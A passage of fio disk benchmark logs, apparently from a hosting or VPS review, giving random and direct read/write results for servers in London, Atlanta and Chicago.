Run status group 0 (all jobs):
READ: io=7697.7MB, aggrb=131370KB/s, minb=131370KB/s, maxb=131370KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1811866/16, merge=0/8, ticks=385580/0, in_queue=385364, util=98.23%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30954: Wed Dec 11 14:48:35 2019
write: io=26015MB, bw=443885KB/s, iops=110971, runt= 60015msec
clat (usec): min=1, max=192632, avg=45.41, stdev=880.56
lat (usec): min=2, max=192634, avg=50.34, stdev=950.31
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 4], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 5],
| 99.00th=[ 18], 99.50th=[ 35], 99.90th=[14656], 99.95th=[20096],
| 99.99th=[32128]
bw (KB /s): min= 1, max=66360, per=12.66%, avg=56217.23, stdev=5810.74
lat (usec) : 2=0.01%, 4=66.86%, 10=30.89%, 20=1.55%, 50=0.21%
lat (usec) : 100=0.05%, 250=0.03%, 500=0.01%, 750=0.02%, 1000=0.01%
lat (msec) : 2=0.03%, 4=0.04%, 10=0.12%, 20=0.13%, 50=0.05%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=4.75%, sys=5.94%, ctx=77362, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=6659941/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=26015MB, aggrb=443885KB/s, minb=443885KB/s, maxb=443885KB/s, mint=60015msec, maxt=60015msec
Disk stats (read/write):
vda: ios=171/1050982, merge=0/9077, ticks=640/6829808, in_queue=6830932, util=98.80%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30940: Wed Dec 11 14:47:34 2019
read : io=7409.7MB, bw=126453KB/s, iops=31613, runt= 60002msec
clat (usec): min=130, max=24402, avg=247.64, stdev=134.86
lat (usec): min=131, max=24403, avg=248.50, stdev=134.89
clat percentiles (usec):
| 1.00th=[ 157], 5.00th=[ 171], 10.00th=[ 181], 20.00th=[ 193],
| 30.00th=[ 205], 40.00th=[ 215], 50.00th=[ 225], 60.00th=[ 239],
| 70.00th=[ 258], 80.00th=[ 282], 90.00th=[ 326], 95.00th=[ 370],
| 99.00th=[ 556], 99.50th=[ 804], 99.90th=[ 1720], 99.95th=[ 2480],
| 99.99th=[ 3952]
bw (KB /s): min= 4128, max=17392, per=12.50%, avg=15809.98, stdev=1368.84
lat (usec) : 250=66.66%, 500=32.07%, 750=0.69%, 1000=0.28%
lat (msec) : 2=0.23%, 4=0.06%, 10=0.01%, 20=0.01%, 50=0.01%
cpu : usr=2.51%, sys=4.77%, ctx=1900108, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1896859/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7409.7MB, aggrb=126453KB/s, minb=126453KB/s, maxb=126453KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
vda: ios=1893026/8, merge=0/5, ticks=404240/0, in_queue=404112, util=99.88%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30967: Wed Dec 11 14:49:35 2019
write: io=2091.3MB, bw=35686KB/s, iops=8921, runt= 60002msec
clat (usec): min=60, max=76654, avg=890.95, stdev=5124.75
lat (usec): min=61, max=76655, avg=891.89, stdev=5124.77
clat percentiles (usec):
| 1.00th=[ 66], 5.00th=[ 69], 10.00th=[ 72], 20.00th=[ 79],
| 30.00th=[ 84], 40.00th=[ 89], 50.00th=[ 95], 60.00th=[ 100],
| 70.00th=[ 108], 80.00th=[ 121], 90.00th=[ 167], 95.00th=[ 233],
| 99.00th=[34560], 99.50th=[36608], 99.90th=[39680], 99.95th=[42240],
| 99.99th=[56576]
bw (KB /s): min= 2831, max= 5484, per=12.50%, avg=4461.68, stdev=440.44
lat (usec) : 100=58.61%, 250=37.16%, 500=1.74%, 750=0.08%, 1000=0.02%
lat (msec) : 2=0.03%, 4=0.02%, 10=0.01%, 20=0.01%, 50=2.31%
lat (msec) : 100=0.02%
cpu : usr=0.66%, sys=2.82%, ctx=1083156, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=535303/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2091.3MB, aggrb=35685KB/s, minb=35685KB/s, maxb=35685KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
vda: ios=170/534669, merge=0/1610, ticks=132/49496, in_queue=49572, util=82.41%
```
**fio (Великобритания, Лондон)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=20488: Sun Dec 15 16:24:24 2019
read : io=743988KB, bw=12399KB/s, iops=3099, runt= 60004msec
clat (usec): min=142, max=15787, avg=2574.70, stdev=1413.98
lat (usec): min=143, max=15788, avg=2575.38, stdev=1414.09
clat percentiles (usec):
| 1.00th=[ 185], 5.00th=[ 221], 10.00th=[ 266], 20.00th=[ 1256],
| 30.00th=[ 2128], 40.00th=[ 2480], 50.00th=[ 2768], 60.00th=[ 3024],
| 70.00th=[ 3280], 80.00th=[ 3600], 90.00th=[ 4128], 95.00th=[ 4640],
| 99.00th=[ 6176], 99.50th=[ 6880], 99.90th=[ 8256], 99.95th=[ 8896],
| 99.99th=[10304]
bw (KB /s): min= 1136, max= 4691, per=12.52%, avg=1551.89, stdev=544.41
lat (usec) : 250=8.44%, 500=8.36%, 750=1.31%, 1000=0.96%
lat (msec) : 2=8.13%, 4=61.25%, 10=11.53%, 20=0.01%
cpu : usr=0.30%, sys=0.92%, ctx=186568, majf=0, minf=80
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=185997/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=743988KB, aggrb=12398KB/s, minb=12398KB/s, maxb=12398KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
vda: ios=186162/8, merge=0/4, ticks=470968/44, in_queue=470988, util=99.87%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=20514: Sun Dec 15 16:26:34 2019
write: io=3170.2MB, bw=54082KB/s, iops=13520, runt= 60040msec
clat (usec): min=1, max=2811.6K, avg=487.71, stdev=17323.71
lat (usec): min=1, max=2811.6K, avg=489.04, stdev=17329.86
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 2], 20.00th=[ 2],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 6],
| 99.00th=[ 14], 99.50th=[ 31], 99.90th=[126464], 99.95th=[189440],
| 99.99th=[757760]
bw (KB /s): min= 0, max=40279, per=18.07%, avg=9773.52, stdev=7070.57
lat (usec) : 2=0.05%, 4=78.16%, 10=19.65%, 20=1.52%, 50=0.15%
lat (usec) : 100=0.05%, 250=0.01%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.02%, 10=0.03%, 20=0.04%, 50=0.09%
lat (msec) : 100=0.07%, 250=0.11%, 500=0.02%, 750=0.01%, 1000=0.01%
lat (msec) : 2000=0.01%, >=2000=0.01%
cpu : usr=0.28%, sys=0.87%, ctx=15613, majf=0, minf=85
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=811771/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=3170.2MB, aggrb=54082KB/s, minb=54082KB/s, maxb=54082KB/s, mint=60040msec, maxt=60040msec
Disk stats (read/write):
vda: ios=170/84307, merge=0/6212, ticks=592/2584112, in_queue=2586072, util=99.40%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=20501: Sun Dec 15 16:25:34 2019
read : io=1298.7MB, bw=22162KB/s, iops=5540, runt= 60004msec
clat (usec): min=136, max=16560, avg=1438.74, stdev=1490.59
lat (usec): min=137, max=16560, avg=1439.37, stdev=1490.64
clat percentiles (usec):
| 1.00th=[ 171], 5.00th=[ 189], 10.00th=[ 203], 20.00th=[ 225],
| 30.00th=[ 249], 40.00th=[ 286], 50.00th=[ 402], 60.00th=[ 1496],
| 70.00th=[ 2448], 80.00th=[ 2992], 90.00th=[ 3568], 95.00th=[ 4048],
| 99.00th=[ 5344], 99.50th=[ 6112], 99.90th=[ 7776], 99.95th=[ 8640],
| 99.99th=[10176]
bw (KB /s): min= 1117, max= 8504, per=12.52%, avg=2775.28, stdev=1765.96
lat (usec) : 250=30.63%, 500=21.52%, 750=3.15%, 1000=1.92%
lat (msec) : 2=6.75%, 4=30.70%, 10=5.32%, 20=0.01%
cpu : usr=0.46%, sys=1.15%, ctx=333216, majf=0, minf=80
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=332448/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=1298.7MB, aggrb=22161KB/s, minb=22161KB/s, maxb=22161KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
vda: ios=332167/8, merge=0/5, ticks=464228/760, in_queue=464876, util=99.86%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=20527: Sun Dec 15 16:27:36 2019
write: io=339804KB, bw=5661.7KB/s, iops=1415, runt= 60019msec
clat (usec): min=66, max=1766.6K, avg=5646.40, stdev=40055.68
lat (usec): min=66, max=1766.6K, avg=5647.17, stdev=40055.71
clat percentiles (usec):
| 1.00th=[ 73], 5.00th=[ 81], 10.00th=[ 86], 20.00th=[ 94],
| 30.00th=[ 101], 40.00th=[ 107], 50.00th=[ 115], 60.00th=[ 125],
| 70.00th=[ 143], 80.00th=[ 179], 90.00th=[ 1012], 95.00th=[ 6496],
| 99.00th=[177152], 99.50th=[242688], 99.90th=[528384], 99.95th=[724992],
| 99.99th=[1105920]
bw (KB /s): min= 2, max= 2640, per=13.35%, avg=755.86, stdev=514.57
lat (usec) : 100=28.39%, 250=57.85%, 500=2.51%, 750=0.63%, 1000=0.59%
lat (msec) : 2=1.96%, 4=2.08%, 10=1.67%, 20=0.56%, 50=1.20%
lat (msec) : 100=0.65%, 250=1.47%, 500=0.33%, 750=0.07%, 1000=0.02%
lat (msec) : 2000=0.02%
cpu : usr=0.13%, sys=0.62%, ctx=172753, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=84951/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=339804KB, aggrb=5661KB/s, minb=5661KB/s, maxb=5661KB/s, mint=60019msec, maxt=60019msec
Disk stats (read/write):
vda: ios=172/84970, merge=0/2006, ticks=544/57484, in_queue=58024, util=94.67%
```
**fio (США, Атланта)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=15476: Sun Dec 15 19:29:14 2019
read : io=7837.8MB, bw=133749KB/s, iops=33437, runt= 60001msec
clat (usec): min=1, max=7324, avg=234.11, stdev=141.99
lat (usec): min=2, max=7325, avg=234.93, stdev=142.02
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 167], 20.00th=[ 193],
| 30.00th=[ 207], 40.00th=[ 219], 50.00th=[ 231], 60.00th=[ 245],
| 70.00th=[ 262], 80.00th=[ 286], 90.00th=[ 322], 95.00th=[ 358],
| 99.00th=[ 458], 99.50th=[ 556], 99.90th=[ 2352], 99.95th=[ 2864],
| 99.99th=[ 3888]
bw (KB /s): min=11944, max=23232, per=12.49%, avg=16709.43, stdev=1866.94
lat (usec) : 2=0.01%, 4=6.74%, 10=1.06%, 20=0.17%, 50=0.03%
lat (usec) : 100=0.01%, 250=55.01%, 500=36.31%, 750=0.36%, 1000=0.09%
lat (msec) : 2=0.06%, 4=0.16%, 10=0.01%
cpu : usr=2.32%, sys=5.36%, ctx=1851110, majf=2, minf=94
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2006274/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7837.8MB, aggrb=133749KB/s, minb=133749KB/s, maxb=133749KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1845303/14, merge=0/7, ticks=397380/0, in_queue=397304, util=98.34%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=15511: Sun Dec 15 19:31:22 2019
write: io=26235MB, bw=447631KB/s, iops=111907, runt= 60014msec
clat (usec): min=1, max=117339, avg=44.70, stdev=861.50
lat (usec): min=2, max=136215, avg=49.63, stdev=930.64
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 4], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 5],
| 99.00th=[ 19], 99.50th=[ 40], 99.90th=[14272], 99.95th=[19328],
| 99.99th=[31104]
bw (KB /s): min= 1, max=65736, per=12.63%, avg=56547.13, stdev=5586.94
lat (usec) : 2=0.01%, 4=68.30%, 10=29.61%, 20=1.32%, 50=0.29%
lat (usec) : 100=0.05%, 250=0.02%, 500=0.01%, 750=0.02%, 1000=0.01%
lat (msec) : 2=0.03%, 4=0.04%, 10=0.12%, 20=0.13%, 50=0.04%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=4.95%, sys=5.87%, ctx=77785, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=6716037/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=26235MB, aggrb=447631KB/s, minb=447631KB/s, maxb=447631KB/s, mint=60014msec, maxt=60014msec
Disk stats (read/write):
vda: ios=192/1075724, merge=0/8974, ticks=768/6927672, in_queue=6933620, util=98.80%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=15496: Sun Dec 15 19:30:21 2019
read : io=7593.5MB, bw=129593KB/s, iops=32398, runt= 60001msec
clat (usec): min=135, max=6091, avg=241.58, stdev=71.45
lat (usec): min=135, max=6091, avg=242.43, stdev=71.49
clat percentiles (usec):
| 1.00th=[ 161], 5.00th=[ 175], 10.00th=[ 185], 20.00th=[ 199],
| 30.00th=[ 209], 40.00th=[ 219], 50.00th=[ 231], 60.00th=[ 243],
| 70.00th=[ 258], 80.00th=[ 278], 90.00th=[ 310], 95.00th=[ 342],
| 99.00th=[ 422], 99.50th=[ 462], 99.90th=[ 708], 99.95th=[ 980],
| 99.99th=[ 2448]
bw (KB /s): min=13104, max=17648, per=12.50%, avg=16200.46, stdev=780.38
lat (usec) : 250=65.19%, 500=34.51%, 750=0.22%, 1000=0.04%
lat (msec) : 2=0.03%, 4=0.01%, 10=0.01%
cpu : usr=2.51%, sys=4.83%, ctx=1947114, majf=0, minf=73
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1943932/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7593.5MB, aggrb=129593KB/s, minb=129593KB/s, maxb=129593KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1937903/10, merge=0/7, ticks=409816/0, in_queue=409684, util=99.82%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=15524: Sun Dec 15 19:32:22 2019
write: io=2278.9MB, bw=38891KB/s, iops=9722, runt= 60003msec
clat (usec): min=60, max=51553, avg=817.32, stdev=4886.56
lat (usec): min=60, max=51554, avg=818.22, stdev=4886.59
clat percentiles (usec):
| 1.00th=[ 66], 5.00th=[ 68], 10.00th=[ 70], 20.00th=[ 76],
| 30.00th=[ 81], 40.00th=[ 85], 50.00th=[ 91], 60.00th=[ 96],
| 70.00th=[ 102], 80.00th=[ 112], 90.00th=[ 139], 95.00th=[ 181],
| 99.00th=[34048], 99.50th=[36096], 99.90th=[38656], 99.95th=[39680],
| 99.99th=[41728]
bw (KB /s): min= 3460, max= 5968, per=12.51%, avg=4863.46, stdev=404.00
lat (usec) : 100=65.85%, 250=31.55%, 500=0.42%, 750=0.02%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.01%, 10=0.01%, 20=0.01%, 50=2.14%
lat (msec) : 100=0.01%
cpu : usr=0.78%, sys=2.71%, ctx=1179671, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=583392/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2278.9MB, aggrb=38890KB/s, minb=38890KB/s, maxb=38890KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
vda: ios=612/582769, merge=0/1520, ticks=392/47444, in_queue=47752, util=78.96%
```
**fio (США, Чикаго)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=14831: Mon Dec 16 01:33:33 2019
read : io=8035.5MB, bw=137136KB/s, iops=34284, runt= 60001msec
clat (usec): min=1, max=4262, avg=227.92, stdev=133.01
lat (usec): min=2, max=4267, avg=228.79, stdev=133.05
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 165], 20.00th=[ 189],
| 30.00th=[ 201], 40.00th=[ 213], 50.00th=[ 225], 60.00th=[ 239],
| 70.00th=[ 255], 80.00th=[ 278], 90.00th=[ 314], 95.00th=[ 350],
| 99.00th=[ 458], 99.50th=[ 548], 99.90th=[ 2256], 99.95th=[ 2768],
| 99.99th=[ 3408]
bw (KB /s): min=13152, max=23400, per=12.49%, avg=17131.96, stdev=2002.66
lat (usec) : 2=0.01%, 4=6.94%, 10=0.98%, 20=0.21%, 50=0.05%
lat (usec) : 100=0.01%, 250=58.57%, 500=32.57%, 750=0.41%, 1000=0.06%
lat (msec) : 2=0.05%, 4=0.15%, 10=0.01%
cpu : usr=2.58%, sys=5.57%, ctx=1895150, majf=2, minf=94
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2057075/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=8035.5MB, aggrb=137136KB/s, minb=137136KB/s, maxb=137136KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1884570/9, merge=0/4, ticks=377920/0, in_queue=377704, util=98.11%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=14858: Mon Dec 16 01:35:41 2019
write: io=26627MB, bw=454312KB/s, iops=113578, runt= 60016msec
clat (usec): min=1, max=140433, avg=44.25, stdev=841.09
lat (usec): min=2, max=153527, avg=48.93, stdev=907.33
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 5],
| 99.00th=[ 19], 99.50th=[ 38], 99.90th=[14144], 99.95th=[19584],
| 99.99th=[30592]
bw (KB /s): min= 1, max=67693, per=12.64%, avg=57424.28, stdev=5407.98
lat (usec) : 2=0.01%, 4=70.71%, 10=26.77%, 20=1.74%, 50=0.30%
lat (usec) : 100=0.04%, 250=0.02%, 500=0.02%, 750=0.02%, 1000=0.01%
lat (msec) : 2=0.03%, 4=0.04%, 10=0.12%, 20=0.13%, 50=0.04%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=4.94%, sys=5.93%, ctx=79995, majf=0, minf=74
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=6816502/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
